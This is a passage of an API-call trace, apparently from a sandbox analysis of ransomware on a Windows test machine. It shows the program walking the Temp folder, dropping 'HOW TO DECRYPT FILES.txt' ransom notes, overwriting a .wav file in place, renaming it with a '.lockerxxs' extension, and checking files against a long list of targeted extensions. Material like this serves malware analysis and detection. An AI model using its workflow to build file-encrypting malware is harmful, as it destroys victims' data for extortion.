1 [0086.380] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 0 [0086.380] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.380] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690046, dwReserved1=0x650072, cFileName="updates", cAlternateFileName="")) returned 0 [0086.381] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0086.381] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf387bfe0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xf387bfe0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004d, dwReserved1=0x69007a, cFileName="Temp", cAlternateFileName="")) returned 1 [0086.381] lstrcmpA (lpString1=".", lpString2="Temp") returned -1 [0086.381] lstrcmpA (lpString1="..", lpString2="Temp") returned -1 [0086.381] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*") returned="*.*" [0086.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="Temp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp" [0086.381] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf387bfe0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xf387bfe0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x610064, cFileName=".", cAlternateFileName="")) returned 0x502618 [0086.381] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf387bfe0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xf387bfe0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x610000, cFileName="..", cAlternateFileName="")) returned 1 [0086.381] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.381] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca445840, ftCreationTime.dwHighDateTime=0x1d5dbc3, ftLastAccessTime.dwLowDateTime=0x49cd8430, ftLastAccessTime.dwHighDateTime=0x1d5e397, ftLastWriteTime.dwLowDateTime=0x49cd8430, ftLastWriteTime.dwHighDateTime=0x1d5e397, nFileSizeHigh=0x0, nFileSizeLow=0x9963, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2lH66ciXT92pOoFP--FY.bmp", cAlternateFileName="2LH66C~1.BMP")) returned 1 [0086.381] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.381] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2lH66ciXT92pOoFP--FY.bmp") returned 1 [0086.381] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2lH66ciXT92pOoFP--FY.bmp") returned 1 [0086.381] lstrcmpiA (lpString1="", lpString2="2lH66ciXT92pOoFP--FY.bmp") returned -1 [0086.381] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*.*") returned="*.*" [0086.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.381] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.381] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0xffffffff [0086.382] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.384] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.384] CloseHandle (hObject=0x90) returned 1 [0086.385] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="2lH66ciXT92pOoFP--FY.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2lH66ciXT92pOoFP--FY.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2lH66ciXT92pOoFP--FY.bmp" [0086.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2lH66ciXT92pOoFP--FY.bmp", pszSpec="*.ems") returned 0 [0086.385] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd722950, ftCreationTime.dwHighDateTime=0x1d5e089, ftLastAccessTime.dwLowDateTime=0x6cbec130, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x6cbec130, ftLastWriteTime.dwHighDateTime=0x1d5e468, nFileSizeHigh=0x0, nFileSizeLow=0xfc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="3jRkFnAtARiZBU.wav", cAlternateFileName="3JRKFN~1.WAV")) returned 1 [0086.385] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="3jRkFnAtARiZBU.wav") returned 1 [0086.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="3jRkFnAtARiZBU.wav") returned 1 [0086.385] lstrcmpiA (lpString1="", lpString2="3jRkFnAtARiZBU.wav") returned -1 [0086.385] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2lH66ciXT92pOoFP--FY.bmp") returned="2lH66ciXT92pOoFP--FY.bmp" [0086.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.385] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.385] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.385] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.385] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="3jRkFnAtARiZBU.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" [0086.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav", pszSpec="*.ems") returned 0 [0086.386] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" [0086.386] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" [0086.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav." [0086.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav.lockerxxs" [0086.386] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3jrkfnatarizbu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.387] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfc03 [0086.387] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xcd722950, dwHighDateTime=0x1d5e089), lpLastAccessTime=0x407536*(dwLowDateTime=0x6cbec130, dwHighDateTime=0x1d5e468), lpLastWriteTime=0x40753e*(dwLowDateTime=0x6cbec130, dwHighDateTime=0x1d5e468)) returned 1 [0086.387] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.387] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xfbdd, lpOverlapped=0x0) returned 1 [0086.389] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav") returned="3jRkFnAtARiZBU.wav" [0086.389] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.389] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xfbdd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xfbdd, lpOverlapped=0x0) returned 1 [0086.390] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.390] CloseHandle (hObject=0x90) returned 1 [0086.390] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3jrkfnatarizbu.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3jrkfnatarizbu.wav.lockerxxs")) returned 1 [0086.393] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e13b080, ftCreationTime.dwHighDateTime=0x1d5e028, ftLastAccessTime.dwLowDateTime=0x35994290, ftLastAccessTime.dwHighDateTime=0x1d5e42f, ftLastWriteTime.dwLowDateTime=0x35994290, ftLastWriteTime.dwHighDateTime=0x1d5e42f, nFileSizeHigh=0x0, nFileSizeLow=0x152a3, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="4xeShDQ.mp3", cAlternateFileName="")) returned 1 [0086.393] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4xeShDQ.mp3") returned 1 [0086.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4xeShDQ.mp3") returned 1 [0086.393] lstrcmpiA (lpString1="", lpString2="4xeShDQ.mp3") returned -1 [0086.393] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3jRkFnAtARiZBU.wav") returned="3jRkFnAtARiZBU.wav" [0086.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.393] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.393] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.393] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="4xeShDQ.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3" [0086.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.ems") returned 0 [0086.393] lstrlenA (lpString="*.ems") returned 5 [0086.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.db") returned 0 [0086.393] lstrlenA (lpString="*.db") returned 4 [0086.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.dbf") returned 0 [0086.393] lstrlenA (lpString="*.dbf") returned 5 [0086.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.myox") returned 0 [0086.393] lstrlenA (lpString="*.myox") returned 6 [0086.393] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.myo") returned 0 [0086.393] lstrlenA (lpString="*.myo") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbw") returned 0 [0086.394] lstrlenA (lpString="*.qbw") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbb") returned 0 [0086.394] lstrlenA (lpString="*.qbb") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbm") returned 0 [0086.394] lstrlenA (lpString="*.qbm") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbo") returned 0 [0086.394] lstrlenA (lpString="*.qbo") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbx") returned 0 [0086.394] lstrlenA (lpString="*.qbx") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qba") returned 0 [0086.394] lstrlenA (lpString="*.qba") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qby") returned 0 [0086.394] lstrlenA (lpString="*.qby") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qbj") returned 0 [0086.394] lstrlenA (lpString="*.qbj") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.ofx") returned 0 [0086.394] lstrlenA (lpString="*.ofx") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.qif") returned 0 [0086.394] lstrlenA (lpString="*.qif") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mye") returned 0 [0086.394] lstrlenA (lpString="*.mye") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mbox") returned 0 [0086.394] lstrlenA (lpString="*.mbox") returned 6 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.eml") returned 0 [0086.394] lstrlenA (lpString="*.eml") returned 5 [0086.394] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.pst") returned 0 [0086.394] lstrlenA (lpString="*.pst") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.ost") returned 0 [0086.395] lstrlenA (lpString="*.ost") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.idx") returned 0 [0086.395] lstrlenA (lpString="*.idx") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.dbx") returned 0 [0086.395] lstrlenA (lpString="*.dbx") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.sql") returned 0 [0086.395] lstrlenA (lpString="*.sql") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mdb") returned 0 [0086.395] lstrlenA (lpString="*.mdb") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.fdb") returned 0 [0086.395] lstrlenA (lpString="*.fdb") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.wab") returned 0 [0086.395] lstrlenA (lpString="*.wab") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.dat") returned 0 [0086.395] lstrlenA (lpString="*.dat") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.txt") returned 0 [0086.395] lstrlenA (lpString="*.txt") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.jpeg") returned 0 [0086.395] lstrlenA (lpString="*.jpeg") returned 6 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.jpg") returned 0 [0086.395] lstrlenA (lpString="*.jpg") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.png") returned 0 [0086.395] lstrlenA (lpString="*.png") returned 5 [0086.395] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.php") returned 0 [0086.395] lstrlenA (lpString="*.php") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.cs") returned 0 [0086.396] lstrlenA (lpString="*.cs") returned 4 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.cpp") returned 0 [0086.396] lstrlenA (lpString="*.cpp") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.rar") returned 0 [0086.396] lstrlenA (lpString="*.rar") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.zip") returned 0 [0086.396] lstrlenA (lpString="*.zip") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.html") returned 0 [0086.396] lstrlenA (lpString="*.html") returned 6 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.htm") returned 0 [0086.396] lstrlenA (lpString="*.htm") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.xlsx") returned 0 [0086.396] lstrlenA (lpString="*.xlsx") returned 6 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.xls") returned 0 [0086.396] lstrlenA (lpString="*.xls") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.mp4") returned 0 [0086.396] lstrlenA (lpString="*.mp4") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.ppt") returned 0 [0086.396] lstrlenA (lpString="*.ppt") returned 5 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4xeShDQ.mp3", pszSpec="*.pptx") returned 0 [0086.396] lstrlenA (lpString="*.pptx") returned 6 [0086.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 